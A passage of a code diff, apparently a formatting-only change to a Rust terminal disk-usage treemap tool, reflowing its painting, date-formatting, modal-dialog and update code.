Style::new(Default::default(), shadow),
);
} }
if r.h >= 3 { if r.h >= 3 {
cv.fill(Rect { x: r.x, y: r.y + r.h - 1, w: r.w, h: 1 }, " ", Style::new(Default::default(), shadow)); cv.fill(
Rect {
x: r.x,
y: r.y + r.h - 1,
w: r.w,
h: 1,
},
" ",
Style::new(Default::default(), shadow),
);
} }
} }
let lw = if t.mono { r.w - 2 } else { r.w - 1 }; let lw = if t.mono { r.w - 2 } else { r.w - 1 };
@@ -314,7 +423,13 @@ impl Model {
if tw(&name) > lw && lw < 8 { if tw(&name) > lw && lw < 8 {
return; // a stub like "te…" is noise, not information return; // a stub like "te…" is noise, not information
} }
cv.text(lx, ly, &trunc(&name, lw), lw, Style::new(st.fg, bg).with(BOLD)); cv.text(
lx,
ly,
&trunc(&name, lw),
lw,
Style::new(st.fg, bg).with(BOLD),
);
if !nb.inner && r.h >= 3 && lw >= 5 { if !nb.inner && r.h >= 3 && lw >= 5 {
let size = self.block_size(tr, nb.id); let size = self.block_size(tr, nb.id);
let mut label = textutil::size_compact(size); let mut label = textutil::size_compact(size);
@@ -322,7 +437,13 @@ impl Model {
if tw(&label) + tw(&pct) + 3 <= lw { if tw(&label) + tw(&pct) + 3 <= lw {
label += &format!(" · {pct}"); label += &format!(" · {pct}");
} }
cv.text(lx, ly + 1, &trunc(&label, lw), lw, Style::new(bg.mix(st.fg, 0.7), bg)); cv.text(
lx,
ly + 1,
&trunc(&label, lw),
lw,
Style::new(bg.mix(st.fg, 0.7), bg),
);
} }
} }
} }
@@ -337,7 +458,11 @@ pub(crate) fn map_paint(m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
} else if m.scanning { } else if m.scanning {
"Scanning…".to_string() "Scanning…".to_string()
} else if !z.is_dir() { } else if !z.is_dir() {
format!("{} — {}", san(&z.name), textutil::size(m.size_of(tr, m.zoom))) format!(
"{} — {}",
san(&z.name),
textutil::size(m.size_of(tr, m.zoom))
)
} else { } else {
"Empty directory".to_string() "Empty directory".to_string()
}; };
@@ -354,7 +479,10 @@ pub(crate) fn map_paint(m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
m.paint_nested(tr, cv, nb); m.paint_nested(tr, cv, nb);
} }
for b in &l.blocks { for b in &l.blocks {
m.hits.push(Hit { r: b.rect, act: HitAct::Block(b.id) }); m.hits.push(Hit {
r: b.rect,
act: HitAct::Block(b.id),
});
} }
} }
+26 -5
View File
@@ -55,7 +55,6 @@ pub(crate) fn san(b: &[u8]) -> String {
textutil::sanitize_bytes(b) textutil::sanitize_bytes(b)
} }
fn local_tm(unix_nanos: i64) -> libc::tm { fn local_tm(unix_nanos: i64) -> libc::tm {
let secs = unix_nanos.div_euclid(1_000_000_000) as libc::time_t; let secs = unix_nanos.div_euclid(1_000_000_000) as libc::time_t;
let mut tm: libc::tm = unsafe { std::mem::zeroed() }; let mut tm: libc::tm = unsafe { std::mem::zeroed() };
@@ -66,18 +65,40 @@ fn local_tm(unix_nanos: i64) -> libc::tm {
/// Formats a timestamp as a local date ("2006-01-02"). /// Formats a timestamp as a local date ("2006-01-02").
pub(crate) fn fmt_date(unix_nanos: i64) -> String { pub(crate) fn fmt_date(unix_nanos: i64) -> String {
let t = local_tm(unix_nanos); let t = local_tm(unix_nanos);
format!("{:04}-{:02}-{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday) format!(
"{:04}-{:02}-{:02}",
t.tm_year + 1900,
t.tm_mon + 1,
t.tm_mday
)
} }
/// Formats a timestamp as local date and time ("2006-01-02 15:04:05"). /// Formats a timestamp as local date and time ("2006-01-02 15:04:05").
pub(crate) fn fmt_time(unix_nanos: i64) -> String { pub(crate) fn fmt_time(unix_nanos: i64) -> String {
let t = local_tm(unix_nanos); let t = local_tm(unix_nanos);
format!("{:04}-{:02}-{:02} {:02}:{:02}:{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec) format!(
"{:04}-{:02}-{:02} {:02}:{:02}:{:02}",
t.tm_year + 1900,
t.tm_mon + 1,
t.tm_mday,
t.tm_hour,
t.tm_min,
t.tm_sec
)
} }
/// The current local time as "20060102-1504". /// The current local time as "20060102-1504".
pub(crate) fn fmt_stamp_now() -> String { pub(crate) fn fmt_stamp_now() -> String {
let now = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default(); let now = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default();
let t = local_tm(now.as_nanos() as i64); let t = local_tm(now.as_nanos() as i64);
format!("{:04}{:02}{:02}-{:02}{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min) format!(
"{:04}{:02}{:02}-{:02}{:02}",
t.tm_year + 1900,
t.tm_mon + 1,
t.tm_mday,
t.tm_hour,
t.tm_min
)
} }
+71 -12
View File
@@ -17,15 +17,30 @@ pub(crate) struct Span {
pub(crate) type Line = Vec<Span>; pub(crate) type Line = Vec<Span>;
pub(crate) fn txt(s: impl Into<String>) -> Line { pub(crate) fn txt(s: impl Into<String>) -> Line {
vec![Span { s: s.into(), st: None }] vec![Span {
s: s.into(),
st: None,
}]
} }
pub(crate) fn styled(s: impl Into<String>, st: Style) -> Line { pub(crate) fn styled(s: impl Into<String>, st: Style) -> Line {
vec![Span { s: s.into(), st: Some(st) }] vec![Span {
s: s.into(),
st: Some(st),
}]
} }
pub(crate) fn kv(k: &str, v: impl Into<String>, kst: Style, vst: Style) -> Line { pub(crate) fn kv(k: &str, v: impl Into<String>, kst: Style, vst: Style) -> Line {
vec![Span { s: pad_right(k, 18), st: Some(kst) }, Span { s: v.into(), st: Some(vst) }] vec![
Span {
s: pad_right(k, 18),
st: Some(kst),
},
Span {
s: v.into(),
st: Some(vst),
},
]
} }
/// An overlay. Modals receive all keys while open; Esc always closes them /// An overlay. Modals receive all keys while open; Esc always closes them
@@ -61,7 +76,12 @@ impl ModalFrame {
impl Model { impl Model {
pub fn open_modal(&mut self, md: Box<dyn Modal>) { pub fn open_modal(&mut self, md: Box<dyn Modal>) {
self.modals.push(ModalFrame { md, scroll: 0, view_h: 0, content_n: 0 }); self.modals.push(ModalFrame {
md,
scroll: 0,
view_h: 0,
content_n: 0,
});
self.dirty = true; self.dirty = true;
} }
@@ -119,7 +139,14 @@ impl Model {
pub fn paint_modal(&mut self, tr: &Tree, cv: &mut Canvas) { pub fn paint_modal(&mut self, tr: &Tree, cv: &mut Canvas) {
let t = self.theme.clone(); let t = self.theme.clone();
// Dim everything underneath. // Dim everything underneath.
cv.restyle(Rect { x: 0, y: 0, w: cv.w, h: cv.h }, |mut s| { cv.restyle(
Rect {
x: 0,
y: 0,
w: cv.w,
h: cv.h,
},
|mut s| {
if t.mono { if t.mono {
s.attr |= FAINT; s.attr |= FAINT;
return s; return s;
@@ -128,7 +155,8 @@ impl Model {
s.bg = s.bg.mix(rgb(0, 0, 0), 0.45); s.bg = s.bg.mix(rgb(0, 0, 0), 0.45);
s.attr &= !BOLD; s.attr &= !BOLD;
s s
}); },
);
let mut f = self.modals.pop().unwrap(); let mut f = self.modals.pop().unwrap();
let max_w = cv.w - 2; let max_w = cv.w - 2;
let w = (f.md.width() + 4).min(max_w).max(30.min(max_w)); let w = (f.md.width() + 4).min(max_w).max(30.min(max_w));
@@ -139,10 +167,16 @@ impl Model {
if !foot.is_empty() { if !foot.is_empty() {
chrome += 2; chrome += 2;
} }
let h = (lines.len() as i32 + chrome).min(cv.h - 2).max((chrome + 1).min(cv.h)); let h = (lines.len() as i32 + chrome)
.min(cv.h - 2)
.max((chrome + 1).min(cv.h));
let (x0, y0) = ((cv.w - w) / 2, (cv.h - h) / 2); let (x0, y0) = ((cv.w - w) / 2, (cv.h - h) / 2);
let r = Rect { x: x0, y: y0, w, h }; let r = Rect { x: x0, y: y0, w, h };
let bg = if t.panel_bg.is_default() { t.bg } else { t.panel_bg }; let bg = if t.panel_bg.is_default() {
t.bg
} else {
t.panel_bg
};
let base = Style::new(t.fg, bg); let base = Style::new(t.fg, bg);
// Drop shadow. // Drop shadow.
if !t.mono { if !t.mono {
@@ -150,13 +184,35 @@ impl Model {
s.bg = rgb(0, 0, 0); s.bg = rgb(0, 0, 0);
s s
}; };
cv.restyle(Rect { x: x0 + 1, y: y0 + h, w, h: 1 }, black); cv.restyle(
cv.restyle(Rect { x: x0 + w, y: y0 + 1, w: 1, h }, black); Rect {
x: x0 + 1,
y: y0 + h,
w,
h: 1,
},
black,
);
cv.restyle(
Rect {
x: x0 + w,
y: y0 + 1,
w: 1,
h,
},
black,
);
} }
cv.fill(r, " ", base); cv.fill(r, " ", base);
let border = Style::new(t.accent, bg).with(BOLD); let border = Style::new(t.accent, bg).with(BOLD);
cv.draw_box(r, if t.ascii { BOX_ASCII } else { BOX_ROUND }, border); cv.draw_box(r, if t.ascii { BOX_ASCII } else { BOX_ROUND }, border);
cv.text(x0 + 2, y0 + 1, &f.md.title().to_uppercase(), inner, Style::new(t.accent, bg).with(BOLD)); cv.text(
x0 + 2,
y0 + 1,
&f.md.title().to_uppercase(),
inner,
Style::new(t.accent, bg).with(BOLD),
);
let rule = if t.ascii { "-" } else { "─" }; let rule = if t.ascii { "-" } else { "─" };
cv.hline(x0 + 1, y0 + 2, w - 2, rule, Style::new(t.faint, bg)); cv.hline(x0 + 1, y0 + 2, w - 2, rule, Style::new(t.faint, bg));
f.view_h = h - chrome; f.view_h = h - chrome;
@@ -201,7 +257,10 @@ impl Model {
} }
self.modals.push(f); self.modals.push(f);
self.hits.clear(); self.hits.clear();
self.hits.push(Hit { r, act: HitAct::None }); self.hits.push(Hit {
r,
act: HitAct::None,
});
} }
} }
+195 -37
View File
@@ -10,7 +10,10 @@ use super::search::LineEditor;
use super::{fmt_time, pad_left, pad_right, san, trunc, tw}; use super::{fmt_time, pad_left, pad_right, san, trunc, tw};
use crate::export; use crate::export;
use crate::filter; use crate::filter;
use crate::inventory::{NodeId, Tree, FLAG_ALLOC_UNKNOWN, FLAG_HARDLINK_DUP, FLAG_INCOMPLETE, FLAG_LOOP, FLAG_SCANNED, FLAG_SKIPPED_FS, FLAG_SPARSE, FLAG_VIRTUAL_FS, NO_NODE}; use crate::inventory::{
NodeId, Tree, FLAG_ALLOC_UNKNOWN, FLAG_HARDLINK_DUP, FLAG_INCOMPLETE, FLAG_LOOP, FLAG_SCANNED,
FLAG_SKIPPED_FS, FLAG_SPARSE, FLAG_VIRTUAL_FS, NO_NODE,
};
use crate::platform; use crate::platform;
use crate::textutil; use crate::textutil;
@@ -42,7 +45,10 @@ impl Modal for InfoModal {
} }
fn footer(&self, m: &Model) -> String { fn footer(&self, m: &Model) -> String {
let mut s = format!("Esc close · c copy path · o {} · Space go to", reveal_verb()); let mut s = format!(
"Esc close · c copy path · o {} · Space go to",
reveal_verb()
);
if !m.opts.read_only && !m.snapshot { if !m.opts.read_only && !m.snapshot {
s += &format!(" · d {}", delete_verb()); s += &format!(" · d {}", delete_verb());
} }
@@ -71,25 +77,67 @@ impl Modal for InfoModal {
out.push(styled(l, vs)); out.push(styled(l, vs));
} }
if san(&n.name).as_bytes() != &*n.name { if san(&n.name).as_bytes() != &*n.name {
out.push(styled("Name contains control or invalid characters (shown escaped)", warn)); out.push(styled(
"Name contains control or invalid characters (shown escaped)",
warn,
));
} }
out.push(txt("")); out.push(txt(""));
let mode = m.size_mode; let mode = m.size_mode;
if n.is_dir() { if n.is_dir() {
add_s(&mut out, "Total logical", format!("{} ({} bytes)", textutil::size(n.tot_size), textutil::count(n.tot_size)), bold); add_s(
add_s(&mut out, "Total allocated", format!("{} ({} bytes)", textutil::size(n.tot_alloc), textutil::count(n.tot_alloc)), bold); &mut out,
"Total logical",
format!(
"{} ({} bytes)",
textutil::size(n.tot_size),
textutil::count(n.tot_size)
),
bold,
);
add_s(
&mut out,
"Total allocated",
format!(
"{} ({} bytes)",
textutil::size(n.tot_alloc),
textutil::count(n.tot_alloc)
),
bold,
);
add(&mut out, "Files", textutil::count(n.files as i64)); add(&mut out, "Files", textutil::count(n.files as i64));
add(&mut out, "Directories", textutil::count(n.dirs as i64)); add(&mut out, "Directories", textutil::count(n.dirs as i64));
if n.parent != NO_NODE { if n.parent != NO_NODE {
add(&mut out, "Of parent", textutil::percent(n.total(mode), tr.node(n.parent).total(mode))); add(
&mut out,
"Of parent",
textutil::percent(n.total(mode), tr.node(n.parent).total(mode)),
);
} }
add(&mut out, "Of scan", textutil::percent(n.total(mode), tr.node(0).total(mode))); add(
&mut out,
"Of scan",
textutil::percent(n.total(mode), tr.node(0).total(mode)),
);
let k = m.kids_of(tr, self.id); let k = m.kids_of(tr, self.id);
if let Some(&first) = k.ids.first() { if let Some(&first) = k.ids.first() {
add(&mut out, "Largest child", format!("{} ({})", san(&tr.node(first).name), textutil::size(k.sizes[0]))); add(
&mut out,
"Largest child",
format!(
"{} ({})",
san(&tr.node(first).name),
textutil::size(k.sizes[0])
),
);
} }
if n.errors > 0 { if n.errors > 0 {
add_s(&mut out, "Errors beneath", textutil::count(n.errors as i64), Style::new(t.err, Default::default()).with(BOLD)); add_s(
&mut out,
"Errors beneath",
textutil::count(n.errors as i64),
Style::new(t.err, Default::default()).with(BOLD),
);
} }
let state = if n.has(FLAG_INCOMPLETE) { let state = if n.has(FLAG_INCOMPLETE) {
"incomplete (not fully read)" "incomplete (not fully read)"
@@ -102,15 +150,32 @@ impl Modal for InfoModal {
}; };
add(&mut out, "Scan state", state.into()); add(&mut out, "Scan state", state.into());
} else { } else {
add_s(&mut out, "Logical size", format!("{} ({} bytes)", textutil::size(n.size), textutil::count(n.size)), bold); add_s(
&mut out,
"Logical size",
format!(
"{} ({} bytes)",
textutil::size(n.size),
textutil::count(n.size)
),
bold,
);
let alloc = if n.has(FLAG_ALLOC_UNKNOWN) { let alloc = if n.has(FLAG_ALLOC_UNKNOWN) {
"unknown on this platform".to_string() "unknown on this platform".to_string()
} else { } else {
format!("{} ({} bytes)", textutil::size(n.alloc), textutil::count(n.alloc)) format!(
"{} ({} bytes)",
textutil::size(n.alloc),
textutil::count(n.alloc)
)
}; };
add_s(&mut out, "Allocated size", alloc, bold); add_s(&mut out, "Allocated size", alloc, bold);
if n.parent != NO_NODE { if n.parent != NO_NODE {
add(&mut out, "Of parent", textutil::percent(n.own(mode), tr.node(n.parent).total(mode))); add(
&mut out,
"Of parent",
textutil::percent(n.own(mode), tr.node(n.parent).total(mode)),
);
} }
} }
if let Some(r) = &m.search.result { if let Some(r) = &m.search.result {
@@ -120,9 +185,19 @@ impl Modal for InfoModal {
match d.old_size(self.id, mode) { match d.old_size(self.id, mode) {
Some(old) => { Some(old) => {
add(&mut out, "In old snapshot", textutil::size(old)); add(&mut out, "In old snapshot", textutil::size(old));
add_s(&mut out, "Change", textutil::signed_size(n.total(mode) - old), bold); add_s(
&mut out,
"Change",
textutil::signed_size(n.total(mode) - old),
bold,
);
} }
None => add_s(&mut out, "Change", "new since old snapshot".into(), Style::new(t.diff_new, Default::default()).with(BOLD)), None => add_s(
&mut out,
"Change",
"new since old snapshot".into(),
Style::new(t.diff_new, Default::default()).with(BOLD),
),
} }
} }
out.push(txt("")); out.push(txt(""));
@@ -143,12 +218,23 @@ impl Modal for InfoModal {
} }
out.push(txt("")); out.push(txt(""));
add(&mut out, "Mode", platform::mode::string(n.mode)); add(&mut out, "Mode", platform::mode::string(n.mode));
add(&mut out, "Owner", textutil::sanitize(&platform::user_name(n.uid))); add(
add(&mut out, "Group", textutil::sanitize(&platform::group_name(n.gid))); &mut out,
"Owner",
textutil::sanitize(&platform::user_name(n.uid)),
);
add(
&mut out,
"Group",
textutil::sanitize(&platform::group_name(n.gid)),
);
if !n.is_dir() { if !n.is_dir() {
add(&mut out, "Hard links", n.nlink.to_string()); add(&mut out, "Hard links", n.nlink.to_string());
let sparse = if n.has(FLAG_SPARSE) { let sparse = if n.has(FLAG_SPARSE) {
format!("Yes (or compressed) — {} not allocated", textutil::size(n.size - n.alloc)) format!(
"Yes (or compressed) — {} not allocated",
textutil::size(n.size - n.alloc)
)
} else { } else {
"No".into() "No".into()
}; };
@@ -159,11 +245,17 @@ impl Modal for InfoModal {
add_s(&mut out, "Flags", fl.join(", "), warn); add_s(&mut out, "Flags", fl.join(", "), warn);
} }
if n.has(FLAG_HARDLINK_DUP) { if n.has(FLAG_HARDLINK_DUP) {
out.push(styled("Another path to this inode was counted; this one adds nothing to totals.", ks)); out.push(styled(
"Another path to this inode was counted; this one adds nothing to totals.",
ks,
));
} }
if m.snapshot { if m.snapshot {
out.push(txt("")); out.push(txt(""));
out.push(styled("From snapshot — metadata as recorded, not live.", ks)); out.push(styled(
"From snapshot — metadata as recorded, not live.",
ks,
));
} }
out out
} }
@@ -216,13 +308,22 @@ impl Modal for GroupModal {
let t = m.theme.clone(); let t = m.theme.clone();
let ids = self.g.ids(); let ids = self.g.ids();
let mut out = vec![ let mut out = vec![
txt(format!("{} items too small to draw individually at this size,", textutil::count(ids.len() as i64))), txt(format!(
txt(format!("totalling {}. Zoom in or enlarge the terminal to see them.", textutil::size(self.g.size))), "{} items too small to draw individually at this size,",
textutil::count(ids.len() as i64)
)),
txt(format!(
"totalling {}. Zoom in or enlarge the terminal to see them.",
textutil::size(self.g.size)
)),
txt(""), txt(""),
]; ];
for (i, &id) in ids.iter().enumerate() { for (i, &id) in ids.iter().enumerate() {
if i == 200 { if i == 200 {
out.push(styled(format!("… and {} more", textutil::count(ids.len() as i64 - 200)), Style::new(t.muted, Default::default()))); out.push(styled(
format!("… and {} more", textutil::count(ids.len() as i64 - 200)),
Style::new(t.muted, Default::default()),
));
break; break;
} }
let n = tr.node(id); let n = tr.node(id);
@@ -231,8 +332,17 @@ impl Modal for GroupModal {
name.push('/'); name.push('/');
} }
out.push(vec![ out.push(vec![
Span { s: pad_left(&textutil::size(m.size_of(tr, id)), 11) + " ", st: Some(Style::new(t.muted, Default::default())) }, Span {
Span { s: trunc(&name, w - 13), st: Some(Style::new(m.color_of(tr, id as i64).mix(t.fg, 0.4), Default::default())) }, s: pad_left(&textutil::size(m.size_of(tr, id)), 11) + " ",
st: Some(Style::new(t.muted, Default::default())),
},
Span {
s: trunc(&name, w - 13),
st: Some(Style::new(
m.color_of(tr, id as i64).mix(t.fg, 0.4),
Default::default(),
)),
},
]); ]);
} }
out out
@@ -281,10 +391,23 @@ impl Modal for HelpModal {
out.push(styled(s, h)); out.push(styled(s, h));
}; };
let row = |out: &mut Vec<Line>, keys: &str, desc: &str| { let row = |out: &mut Vec<Line>, keys: &str, desc: &str| {
out.push(vec![Span { s: format!(" {}", pad_right(keys, 19)), st: Some(k) }, Span { s: desc.into(), st: Some(d) }]); out.push(vec![
Span {
s: format!(" {}", pad_right(keys, 19)),
st: Some(k),
},
Span {
s: desc.into(),
st: Some(d),
},
]);
}; };
sec(&mut out, "NAVIGATION"); sec(&mut out, "NAVIGATION");
row(&mut out, "↑ ↓ ← → hjkl", "move spatially through the treemap"); row(
&mut out,
"↑ ↓ ← → hjkl",
"move spatially through the treemap",
);
row(&mut out, "Enter", "inspect the selected item"); row(&mut out, "Enter", "inspect the selected item");
row(&mut out, "Space →", "zoom into the selected directory"); row(&mut out, "Space →", "zoom into the selected directory");
row(&mut out, "Backspace ←", "zoom out one level"); row(&mut out, "Backspace ←", "zoom out one level");
@@ -292,20 +415,43 @@ impl Modal for HelpModal {
row(&mut out, "click / dbl-click", "select / zoom (mouse)"); row(&mut out, "click / dbl-click", "select / zoom (mouse)");
row(&mut out, "wheel", "zoom in/out (map), scroll (lists)"); row(&mut out, "wheel", "zoom in/out (map), scroll (lists)");
sec(&mut out, "SEARCH & FILTER"); sec(&mut out, "SEARCH & FILTER");
row(&mut out, "/", "search or filter; the map shows only matches"); row(
&mut out,
"/",
"search or filter; the map shows only matches",
);
row(&mut out, "Esc", "clear the filter"); row(&mut out, "Esc", "clear the filter");
out.push(styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", muted)); out.push(styled(
out.push(styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", muted)); " ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d",
muted,
));
out.push(styled(
" path contains cache AND NOT type = dir owner = andy flag = sparse",
muted,
));
let fields: Vec<&str> = filter::FIELDS.split_whitespace().collect(); let fields: Vec<&str> = filter::FIELDS.split_whitespace().collect();
let split = 7.min(fields.len()); let split = 7.min(fields.len());
out.push(styled(format!(" fields: {}", fields[..split].join(" ")), muted)); out.push(styled(
out.push(styled(format!(" {}", fields[split..].join(" ")), muted)); format!(" fields: {}", fields[..split].join(" ")),
out.push(styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", muted)); muted,
));
out.push(styled(
format!(" {}", fields[split..].join(" ")),
muted,
));
out.push(styled(
" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y",
muted,
));
sec(&mut out, "VIEWS"); sec(&mut out, "VIEWS");
row(&mut out, "Tab Shift+Tab", "next / previous view"); row(&mut out, "Tab Shift+Tab", "next / previous view");
row(&mut out, "1 – 7", "jump to a view"); row(&mut out, "1 – 7", "jump to a view");
row(&mut out, "x", "file types (extension statistics)"); row(&mut out, "x", "file types (extension statistics)");
row(&mut out, "g", "top lists: largest, oldest, sparse, hard links …"); row(
&mut out,
"g",
"top lists: largest, oldest, sparse, hard links …",
);
row(&mut out, "e", "scan information and errors"); row(&mut out, "e", "scan information and errors");
row(&mut out, "D", "find duplicate files (reads file contents)"); row(&mut out, "D", "find duplicate files (reads file contents)");
sec(&mut out, "APPLICATION"); sec(&mut out, "APPLICATION");
@@ -321,8 +467,15 @@ impl Modal for HelpModal {
row(&mut out, "Ctrl+C", "cancel scan; press again to quit"); row(&mut out, "Ctrl+C", "cancel scan; press again to quit");
row(&mut out, "q", "quit"); row(&mut out, "q", "quit");
out.push(txt("")); out.push(txt(""));
let units = if crate::textutil::si() { "SI (kB = 1000 bytes)" } else { "IEC (KiB = 1024 bytes)" }; let units = if crate::textutil::si() {
out.push(styled(format!("Sizes: {} · units: {units}", m.size_mode.name()), muted)); "SI (kB = 1000 bytes)"
} else {
"IEC (KiB = 1024 bytes)"
};
out.push(styled(
format!("Sizes: {} · units: {units}", m.size_mode.name()),
muted,
));
out out
} }
@@ -371,7 +524,9 @@ struct SaveModal {
} }
pub(crate) fn new_save_modal(tr: &Tree) -> Box<dyn Modal> { pub(crate) fn new_save_modal(tr: &Tree) -> Box<dyn Modal> {
let mut md = SaveModal { ed: LineEditor::default() }; let mut md = SaveModal {
ed: LineEditor::default(),
};
md.ed.set(&default_snapshot_name(&tr.stats.root)); md.ed.set(&default_snapshot_name(&tr.stats.root));
Box::new(md) Box::new(md)
} }
@@ -399,7 +554,10 @@ impl Modal for SaveModal {
} }
if m.scanning { if m.scanning {
out.push(txt("")); out.push(txt(""));
out.push(styled("The scan is still running: the snapshot will be marked incomplete.", Style::new(t.warn, Default::default()))); out.push(styled(
"The scan is still running: the snapshot will be marked incomplete.",
Style::new(t.warn, Default::default()),
));
} }
out out
} }
+95 -22
View File
@@ -32,7 +32,8 @@ use std::time::{Duration, Instant};
/// Begins a scan (or returns a loaded tree with no scanner). Called again /// Begins a scan (or returns a loaded tree with no scanner). Called again
/// on rescan. /// on rescan.
pub type StartFn = Arc<dyn Fn(Cancel) -> Result<(Option<Scanner>, Arc<RwLock<Tree>>), crate::Error> + Send + Sync>; pub type StartFn =
Arc<dyn Fn(Cancel) -> Result<(Option<Scanner>, Arc<RwLock<Tree>>), crate::Error> + Send + Sync>;
/// Configures the interactive session. /// Configures the interactive session.
pub struct Options { pub struct Options {
@@ -75,7 +76,11 @@ impl Key {
_ if s.chars().count() == 1 => s.to_string(), _ if s.chars().count() == 1 => s.to_string(),
_ => String::new(), _ => String::new(),
}; };
Key { name: s.to_string(), text, ctrl_alt: s.starts_with("ctrl+") || s.starts_with("alt+") } Key {
name: s.to_string(),
text,
ctrl_alt: s.starts_with("ctrl+") || s.starts_with("alt+"),
}
} }
} }
@@ -91,15 +96,40 @@ pub(crate) enum Msg {
Size(i32, i32), Size(i32, i32),
Tick, Tick,
ScanDone(Arc<RwLock<Tree>>), // identifies the scan by its tree ScanDone(Arc<RwLock<Tree>>), // identifies the scan by its tree
Filter { gen: u64, res: Option<FilterResult> }, Filter {
gen: u64,
res: Option<FilterResult>,
},
FilterDebounce(u64), FilterDebounce(u64),
DupDone { finder: Arc<duplicate::Finder>, groups: Option<Vec<duplicate::Group>> }, DupDone {
TrashDone { tree: Arc<RwLock<Tree>>, id: NodeId, err: Option<String>, done: String }, finder: Arc<duplicate::Finder>,
SaveDone { path: String, err: Option<String> }, groups: Option<Vec<duplicate::Group>>,
},
TrashDone {
tree: Arc<RwLock<Tree>>,
id: NodeId,
err: Option<String>,
done: String,
},
SaveDone {
path: String,
err: Option<String>,
},
Key(Key), Key(Key),
Click { x: i32, y: i32, button: Button }, Click {
Wheel { x: i32, y: i32, up: bool }, x: i32,
Motion { x: i32, y: i32 }, y: i32,
button: Button,
},
Wheel {
x: i32,
y: i32,
up: bool,
},
Motion {
x: i32,
y: i32,
},
Quit, // SIGTERM Quit, // SIGTERM
} }
@@ -239,8 +269,13 @@ impl Model {
{ {
theme.ascii = true; theme.ascii = true;
} }
let mut views = vec![View::Map, View::List(Default::default()), View::Ext(Default::default()), let mut views = vec![
View::Top(Default::default()), View::Info(Default::default())]; View::Map,
View::List(Default::default()),
View::Ext(Default::default()),
View::Top(Default::default()),
View::Info(Default::default()),
];
if opts.diff.is_some() { if opts.diff.is_some() {
views.push(View::Changes(Default::default())); views.push(View::Changes(Default::default()));
} }
@@ -298,7 +333,9 @@ impl Model {
} }
fn wait_scan(&self) -> Cmd { fn wait_scan(&self) -> Cmd {
let Some(s) = &self.scanner else { return Cmd::None }; let Some(s) = &self.scanner else {
return Cmd::None;
};
let (rx, tree) = (s.done().clone(), s.tree.clone()); let (rx, tree) = (s.done().clone(), s.tree.clone());
Cmd::run(move || { Cmd::run(move || {
let _ = rx.recv(); let _ = rx.recv();
@@ -307,7 +344,11 @@ impl Model {
} }
pub fn refresh_interval(&self) -> Duration { pub fn refresh_interval(&self) -> Duration {
let hz = if self.opts.settings.refresh_hz <= 0 { 10 } else { self.opts.settings.refresh_hz }; let hz = if self.opts.settings.refresh_hz <= 0 {
10
} else {
self.opts.settings.refresh_hz
};
Duration::from_secs(1) / hz as u32 Duration::from_secs(1) / hz as u32
} }
@@ -321,7 +362,9 @@ impl Model {
} }
fn needs_ticks(&self) -> bool { fn needs_ticks(&self) -> bool {
self.scanning || Instant::now() < self.toast_until || self.dups.as_ref().is_some_and(|d| d.running) self.scanning
|| Instant::now() < self.toast_until
|| self.dups.as_ref().is_some_and(|d| d.running)
} }
/// Shows a transient status message. /// Shows a transient status message.
@@ -366,7 +409,10 @@ impl Model {
self.ticking = false; self.ticking = false;
if self.scanning { if self.scanning {
self.dirty = true; self.dirty = true;
if self.last_data.is_none_or(|t| t.elapsed() >= Duration::from_millis(400)) { if self
.last_data
.is_none_or(|t| t.elapsed() >= Duration::from_millis(400))
{
self.invalidate(); self.invalidate();
self.last_data = Some(Instant::now()); self.last_data = Some(Instant::now());
} }
@@ -379,7 +425,10 @@ impl Model {
let mut cmds = Vec::new(); let mut cmds = Vec::new();
if self.scanning if self.scanning
&& self.search.query.is_some() && self.search.query.is_some()
&& self.search.applied_at.is_none_or(|t| t.elapsed() > Duration::from_secs(1)) && self
.search
.applied_at
.is_none_or(|t| t.elapsed() > Duration::from_secs(1))
{ {
cmds.push(self.apply_filter()); cmds.push(self.apply_filter());
} }
@@ -405,7 +454,12 @@ impl Model {
Cmd::None Cmd::None
} }
Msg::DupDone { finder, groups } => self.dup_done(finder, groups), Msg::DupDone { finder, groups } => self.dup_done(finder, groups),
Msg::TrashDone { tree, id, err, done } => self.trash_done(tree, id, err, done), Msg::TrashDone {
tree,
id,
err,
done,
} => self.trash_done(tree, id, err, done),
Msg::SaveDone { path, err } => match err { Msg::SaveDone { path, err } => match err {
Some(e) => self.warn(format!("Snapshot save failed: {}", textutil::sanitize(&e))), Some(e) => self.warn(format!("Snapshot save failed: {}", textutil::sanitize(&e))),
None => self.info(format!("Saved snapshot {}", textutil::sanitize(&path))), None => self.info(format!("Saved snapshot {}", textutil::sanitize(&path))),
@@ -454,13 +508,24 @@ impl Model {
let (total, files, dirs, errs, el, cancelled) = { let (total, files, dirs, errs, el, cancelled) = {
let t = self.tree.read().unwrap(); let t = self.tree.read().unwrap();
let st = &t.stats; let st = &t.stats;
(t.node(0).total(self.size_mode), st.files + st.symlinks + st.others, st.dirs, st.total_errors(), st.elapsed(), st.cancelled) (
t.node(0).total(self.size_mode),
st.files + st.symlinks + st.others,
st.dirs,
st.total_errors(),
st.elapsed(),
st.cancelled,
)
}; };
let mut cmds = Vec::new(); let mut cmds = Vec::new();
let rate = (files + dirs) as f64 / el.as_secs_f64().max(0.001); let rate = (files + dirs) as f64 / el.as_secs_f64().max(0.001);
let mut msg = format!( let mut msg = format!(
"✓ Scan complete {} · {} files · {} dirs · {} · {}/s", "✓ Scan complete {} · {} files · {} dirs · {} · {}/s",
textutil::duration(el), textutil::count(files), textutil::count(dirs), textutil::size(total), textutil::count(rate as i64) textutil::duration(el),
textutil::count(files),
textutil::count(dirs),
textutil::size(total),
textutil::count(rate as i64)
); );
if cancelled { if cancelled {
msg = "✗ Scan cancelled — totals are incomplete".into(); msg = "✗ Scan cancelled — totals are incomplete".into();
@@ -507,7 +572,10 @@ impl Model {
Ok(v) => v, Ok(v) => v,
Err(e) => { Err(e) => {
cancel.cancel(); cancel.cancel();
